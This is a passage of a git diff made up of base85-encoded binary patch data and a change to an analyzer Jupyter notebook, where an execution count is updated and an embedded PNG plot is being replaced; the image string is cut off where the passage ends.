zlyoB5sxH7!-m&H7kty8*4nwvp*+P+6wZxjX=bW{lXEx-|tD9a3wGXQ|?_XEUjEs== zuSO9*rL{RG9)Sqrw}=vYgrOA=`%Y?{ySYNCrP;V$2GD*jKIv1F)qwTDll$Q;UPOl% zL#K`vHY7N9Z5(60j))YdV8heB2oDVvKFX01?(2;6_#g$D!s2>r_P4g8psw+hRX*Pf zM#ml;$TM%opJr7#`G_js-Yrw$bF{GN?wOKpWscChmgUf_u5RX&Hsk9KLNs;JXJ4QD zoQvc*&6zKkEs`+P#RzH8$_7&h)|vd|skS#6s4}x;?q8aJsYkf#6_@M9|`B@jYxv zn5>?wg_jzQ5`5{@-&XgHq#W?UCG1hPrBQij;)J>>pL7};4-Tg7kB*KFV<+1?2--+a z6NS$nN;ucwtrl|L6VkSvk?-=hJnC6g(DP)1n85<^^hf*n%1D)2E9>)Ikf=TV!xxXB zrQLA1Ajt5`sb?_6CJylat;BCbY1yim_z0nBy!BVl!OZrFkPT-f(xj^QJt|Sj(_ua5 z^i<3ux&3^tSxo&(0bk84*txz3R>Coc0`_OPlKc7C>hR>rusfIcQbp@*SkJ0%-;NVF zK!NE%B~JSM*RQ50T;ogHa#$U+&v2o-Z4w%W4u#EI-!4oqe;aS$E)lk8BiYzLUiR=K zM2`-;0_;&=DYsmKv$uhV^N1&MuZIb4OLXF`f0ud!)^EE#Dq*^{CBTil%TzX&l*x@z z4s_Y^nX|`c;!j+UU3K%2e#_&J4V;R7=km8Eq*-b0(=U0vJj>~6YfdZunfW7S?*-GT z?Tst-O@gNnc5f`I^+~ZksW^qPV3-@GNbpta$#-xr&zA-#<`e)N$uBrYmA& z%jmUBSZN^f57Jk{dfFsrsXJ9oO{wB(cjpdEnnz_YWsO~g6#-(vq9YtXK1bqp+-qU#{$E7=*xL zm|PJUIAXUF0pd`*F#v~UazJ8GyLoT~4gue#g(DFN>`x5(eO)*biP^md90}rf4+ux1 znT+8`EXd5m;eMI?p9cs6zb*IgoZ%n_hoA&wq#zIgcMDJ`6w}2hEP8hba5R8r+8m8W zG4pU3CLZQz)4zOw#_`|s;TQyZcf4>62<(0ka108`6fXvgX5wMtIHvo4hW1+;|I`78 zV=-8!sj)aDQ3^tn=**84C8)d?Z@) zeXQyW{O}Ont$&vwmE3LE9jmTh%GX+yQ%Qf(u=BKRYEVxjU0LvE^CA69=c*JCH(sjbFR{g~BN=%;CX<@~_bH#M_&d`7Y|icKcIUBh-b{J5Eaw_BxF zE3M-$#{b^!e(fE{Wg9@(1+->_KI3Ita!z)L_)w|4OqV;)(TC$I0c=u(%N;$#Bu6v8Xj(quKA0gh-Mu&1VtE_FW^56TC_4}Q) zq#nmO8@bBV&J?6(nk9ZZ8w#EufT#)1I{Obh7vpGN_8S{*c07+XpXL*YO2Q}}G%QZ- zPyJ5tER*AI=a0h$1rDE`OfAM0x-?CR`HG1ek(+q3?9G~UobK2u#Q|C4lEJpO&#uSG zxJ3&^w0;|xQFmaa$CR5r5%VjH!eowvTAG`#_dPwV06EXgOkC7IGu13}@U#WS&*PrN(Ymb)NMu_&HWs zX~ulL;h!53i6J|^4jL!0DSKXJPiXcYn=)~pP9J;`7F%oO@Q6`EcjmUWMEb6h!4$)>L@VJ-P;FKn!DiEy20XR+cs$^LTI%92HTEVoz>#zAkFjzr=J?yx*qyF z<`Xp$XFELTVai%JY}=mkbxtk!sFv;M7q+`#Lu#F&BlA$%tm>AbNlT(&Wx=eOMj4uZ z%4g@m&Ug(MOpTUso3wi7)368=xeQgCFUMTm;61(yj~9E8&d-M~{5>}~@JbyOW5SCn z-Ng8=y;n#+*5OvuM3m0{`a0QRqVbe&SIyzxZ))kLip3Si-QhW6l(@ zW#TZTaDafFV1=jd8yfZn*aE{IDIT@YgdNU$?K~&dx5s+MA^NT?{~062ZW0~mCpB1; z<8-qJAqx9!^eQA=iV3-DTBuQxvORO#$7d4_A-iXGeB4wyJiq4rr1Fo-yHjbZiK6o- z-R`^(71oOpTgR7XZ>`A)vKBNm-*)x1DWOWIqp8-Ae11ZIL)6iiW5@7c#`->p8a#Vh zdExbf2+~1pJ!!zcUK*nkU@uarUerHtaM(^mZo>3s|GEBGzZeS(6BE7->Vt0&4W%^& zAeZ=M`CuZ5+~EgN5R8Dz$}D3B4}rh#oy4zQh2<(Avx+D4e=goWWsT?Kd-4SLv1vC> zr#bn<*1sa#CW-Ac+a2DvbeX(~d`q2+bgXQp(6x0X?JujYSp&iV!0~3{s6ghl~ngcqxdYgpw&Ku}QcQbflHFV4 zI`_^{bXcMFl9Ui)A+m+NUof5*NfpJgzX{QK5v2`S6p@G!>1StL3(r3$kkLvcf;>2zX$E#!nDO!Io zmMPKFbViile2IRZm+l!EZeuJ4o{YTS>fM1NcO!LP8y{qw${QyAMLb`=-Iz2JJ^!Y% zVV)d#?(@cPu}5Ams*6MoqI6h1roRrZLwhjXgMyhJE`Dea#7syfi=>NVkV4U8 z$RGy8CU4*XQCJLeOa#jGHn}EM$0b#XYa5F@_J`3bcNaM9j^b^ z-$&o3NUc7O@BoZzORgC;Jt!U++gjyR>bT=-q^9Hktgth6@rlYhmCrLjC{`W})~uk) z8O;hpIcf&iI*WVqzv*Sfu1~g@$rrpAMf){^k8T<)7p{J-4e6HS##HqlFswIai|dNH zykn(ETr053b-4G^`oq*bwDz!nLZP6W>=%JsYxVs0G@~YW@fb{}+1*G^^1@;6N(_6s z$~wR6xyf6)$<81nV*25kqDR*f>J6H8EX{vx%`nrjf55QabZ8+hp+7Qsty&RrHf^?h zFS}cCUtE~@SK7j!Z|??t6;Ej~24>?%72p<#CH~0Sl;)hDIb!tcnL~(Jsa#Fq{~x2BH$GiUiL_}Tu>ka{NnvzLVE*r!K z=I{T*C;gLIzk&F-&*oeEHea~yYLIx=H%R-=ngO$qEwq9An0vk-a|ZHn!myg+iKn%v z4o~e83S~EZ4yerC36Ed)LjomK*hS(RyvQR-EHa5nMQS%_CWY z4U&l{S4=EcUo(&YOnUoTOgk@oS243XuPw-#bAhURdDcpaK%5ORh`kgBNybJYJ)A2b z;f@GPW7wGzR9@t(GzNJiIfNw2Vo)%Iq+pd;BNb0rsR+u`Xi&IPo^dch)CG8SRoo2@yyb5dNGsFFIkM`}- zah#rH})=Ts|uAiPcgN`5*6V82Y{i3^S!x}RB>or@swi(yy z4txJ63lGQJJgt3`)8~37MB1L`VO-_?-SZu9R{l#7Wk)UY9@-S)z9hMf9EJ}fP=6mV ztD3|$1flkWvC{h*!`~NqNyeLAUHr1=``67ql7=>Fq^wj`d`OzIgY65g$c$!@uv4Q9 zce1jYAs#7Lp6^C~ii#V<&JRD%VCxezy=lh;VYOlzxjs{Jc7PhDHt+d;_=m7xFrWQt z`3gs%yTEy{5@0?Ql@e;o!o+VDGI20pw^+(Nm+KTSqjUe0J~ky)WQ?@9@8@igaGC8n zl@x}5!yBiIMIwA+vZ>kiN(c8#Cf7$=p(^725SRt~oHvfFS&xx%F5Krf?$XpA4a zPfg79xt;W`C?dw;%F&sTCw;2NC$ym^Pxc)eSfc$%B-x_+LD^*A_H-OyTy64aJw_pV zO1@wD@;UWq=WTKmqYggR8X=mTNaDHoa%;le zk9EZhP85y=7^Fji`wsL%ycH$bqf#oo$o0(RAf=Ulb6Omtf_!Y`n5MN`M65y~6^$ zJs60iiY$=?0eDaU5GLoB9_j($gXl-m_#lr^4+enupnG`-19%3V!TH0@-`Af3kSPFO zAIVjb)WKT-R2ab90yGZf0^nUaE@-?v=P7^yayaOm3l+fo0(d{p769HKzy|>MKmgAK z2m~_wy~@_LEPa4L0YJb8!0!eK)ZdmdK%o7$OaKV{ZJ7fQ;kRW0K+tc?7Jy)`h31e$ z#NU`J0Fi!MZU97HwwB_CmU-L(Xqm?YfLKdJ=;b`&WwIq5;AOrgY2anb-?9Pl5-&GH zc$wE1fR}jDoLu2$UIqX!b1vxzFVp%1@N#FaY$DL4ZLLC!UoUl@rYh45DyCSc%a%*{{H00!N2GFwPB`%Ztbp z6xR?aWHO>pz_ADvu0(%05(p$RN0Jp7Oy;QYCk9eUtB4^ow+sL90|^u=NBTc82&8cX zWO2~{ssKU|x1uW?;iahm^dqez1|bSzWg;L%C9hHehA97+9G9Q7I2`{6E@L#xstt({ zmD3j7^}nErMDBT7fl;89r2|PIw~zkxBe6)_gS-Nya@+h*j0}P+`vW8sxQA?oA4FO0 z2h&!`Po{7W`;z|u%Y;lLuiB6TuU3Xa<{pzji78ZYmDE(u3|r|(<-D{04?`Zo{H#^- zQ7P0_<)G5Iv*%Az8q6JUD=;EqHAY^oGL6Qa8Qf*^Uj+ytfwq!_0K%*4#+lu#nvzot z&d2?Bq6~?|8SFOx{=opJirlen%<$w43ywOR8_rA!3U*-zFHHmjOd>&OWo1Ll-RS=S Du)@V2 delta 4185 zcmZXV2|QHm8^`Yqg$ZG1ga$_{T+W9hy(|VTPvzP6(_aZx;QmLE1+>phUz7G8 z_`r8Rg|0`TUg|in9V0Rv^R(B;>zp?fQMvcQLoNJHr}fpn+<_ethCy{U zjiuU0*{z?u{NknGe1i3q>KxQR#|mFcva5TiWaqTq-!Z^pbemg0^xH+jJG+nW@!t5i zbELM=4(oM>!ftff(qlS2|0T|%!~2jTDtlwK3GUks@4J@y&Y=mDC;vzrgrr7y_k@}L zypa-Uso4Ld<)=mY&dbOkm7!Lym9A$HWD^^xxY7FNiyD$yCY0e{-P$#LCR6r^ zQbyK(8)a)vI&QZ!SJcR<@h|^0hqj#j7Qq5GWebu$I`*C@_-;WaN>Dha%7K}435z`4 z?HaLFkxe)I2?~DoH@n9LRaIs~*VSZWiL5fp`RljOChDJ(2*f?VQ(sG&Vex;Z3ap=B zJx+wyj_B2mKaH#oW;3XFrz^+>Z~7BGCGtkj9^AE2?cClg>Qfq%=bCLaJ;u}z-t9|1 z!quO)M<4Wc+A{bcpyIRxrYJwe&X<;7y;uv?Ir}{QOg5XwiETCOq7*e zOOv&v{xe}U^4ui%PW{6Z3*q0&=LdXrT?>1Xw&c`kA8_{b5r~ucG2PsyF&l-gJ&L?u zgZ(455b2!ll5n+Eb62+IYl8(pwOO$+yk^OxY$^M!cTt3EqbV&V4}*3^?}#Zd#W+=R zc47t-v;R6O|4vgUeR4o2!d)mqL^QN@d&^$)^?A6;iP+$gc5aT3)b_2l$_^?xIbB<3 zl6S<1qL|dttM5CjnnrpM_OW{jl><&|0}?DYstI)~HUS*^u)%}&ht0*6Ek3HB?6Iq@%@8{@Mc7nV9pNGx z2xc;;ji!3WXA6Xt#njc~jZY)Vib6ihH&S-J6r@F;ZpKn}Ig|HMF4qYi*H(z_+Ym1w zZ6G&Z*o>7!*8%0*QeqBnDit2@jID0OT^mruMB3q64@Gf16MEmKbsQG`oHLDpt~qUu za}fyGU(z&xQVxFCUh;>8h_~1o{je|56B+O(A5?Qm)S2Ip(7IxZNJ*ECvaNjxj*NZ3 z1IV-Mj1Ar6WS<#er7|UxXqCOvwmBan&hShVZ(dVZ${f`z%N>(o6{=s)bH_Fy(}rDl z0=@z635kN-s6l}D=<5| z@T%adhV->(LTIhZ`yLou&(bTeYv0EZ@;ORychrly@c2K2LzSa%%?9}lTe(yFK9&h6 z6>tMX8os@j__^~-cEt}?ec)4AJmrO0FsJE(#Gkuso+_$p6isgKj7V^wI(OKf!gH!Q zv~j15%~NjMFgwWn?$osWRIPoiL->7d=Zv#j#%311gDl~~f%rZ9t|=xqeW$vnKizTFlwA;z`d*s}H>}4A(1>(+WIX{k6pn`R!f3cdQ3d`cYzQ|CW8ecK z#ju_T8WuyP!(Tf6+ytJk{I~8bQT;cg@Hw6BH?;88qSq*hcmDko}?@l0ryIy z;iGbo;E+vd_@jIR{BaY8FUJ#(lfm$I0cr^Ny9@^AD)qyA8 zqL0}qhkWRZ(1h+J=bw<9KdZCg-Nxe1ABfN6lguIx12vZiT5D3f^y8kDUGIv!Z}PZ9 zJMm7&soE^9xNsxQ31X{mYs}2`IR%CJlCDmkP&@un@J5YK4^A?a#@l3vT(GxYuoHIW zflAlHL#zv1inl%-KlM|ujjhEM)QT|fj&ho~Se7n?oIF=DY<_YmchX zZTABT9uy1DRCw;~?xvSsxS4&}i*p`bUwHC6}Nu+nB#*lSA|d<%!+ecBR)fXC#~Fn8-7I8p%(KiXOc zS1F>A{L)7&DRaqIbU#6&=+qBXBoO8Ic;*pclKH(stoRW|;5f(Xw9XNmpgRe1HdSvp z^M9WilA=xoGvZoBI;}?I!S|Q_ zqEaMAYF4|D&0j6h{l?2^2z#)DBkxfdh%!4T-B|?K}GrLsCGD71q~Ab4DYH6 z9s&C(Vc|EbW3bH@3_P|i6&~ZiW7V2rpRE|);q9781O-mhz^UOmUI7dSfcIbp2JoNE zAim9JhVUPZAch}`Oat(4tYa)cctk^*MuPynH9)5Vco%?9=l=uX-2prUAQH#`p2>gl zqmKc2UjXliA`q^Sq%V^mi_JkNM5!W07zN3mXZKhP)m7%i!?4D%mlzC9EvX!TEY1O z&Bib20$y>Efx}5$&YR8 z@8ZS)NGnthKw6@rRyKgNLgoas0MZIM5Fo8ULjclBnxOz`1scW(;D=Iq??4v>l0<_K zlA?qOWFnPJfr#)Ek{psmhv!LnFOW#(ud+A*KLE945Q#K8f0b1}`eK=W^?^hpU*&4w zVwG0=$Pk=CrU`-|i41pZ_~uMAbD|ve&G>7>Ka`HkhX?LfFORoR?USdw6#7uZH)%LgvB^6fBOGQP9TvM zJLp$2{CcbrNG4F%6od>eHo~uS$q;RA9Dnk^af^KZAk!AxadG@BhC*1=69fvlcs5qW zLFCnYO`uTL?ihtmSluTCDi`A42dfsOlE`aHNTn?{{I6gteewAH>Z1`C&(bO%d96Si zjk;9TegB^^ow#^`{5qN6@N3FSC(&1nCW0XUtEEfdOeXQ~JS!H91FT#arhXp$Bgl{E dUut@KC^p9>fD;nH@IdilbRtScWw(Vf>c5Z=O@06X diff --git a/analyzer/analysis.ipynb b/analyzer/analysis.ipynb index 756f2aea..7d1bd8d7 100644 --- a/analyzer/analysis.ipynb +++ b/analyzer/analysis.ipynb @@ -1968,12 +1968,12 @@ }, { "cell_type": "code", - "execution_count": 104, + "execution_count": 123, "metadata": {}, "outputs": [ { "data": { - "image/png": "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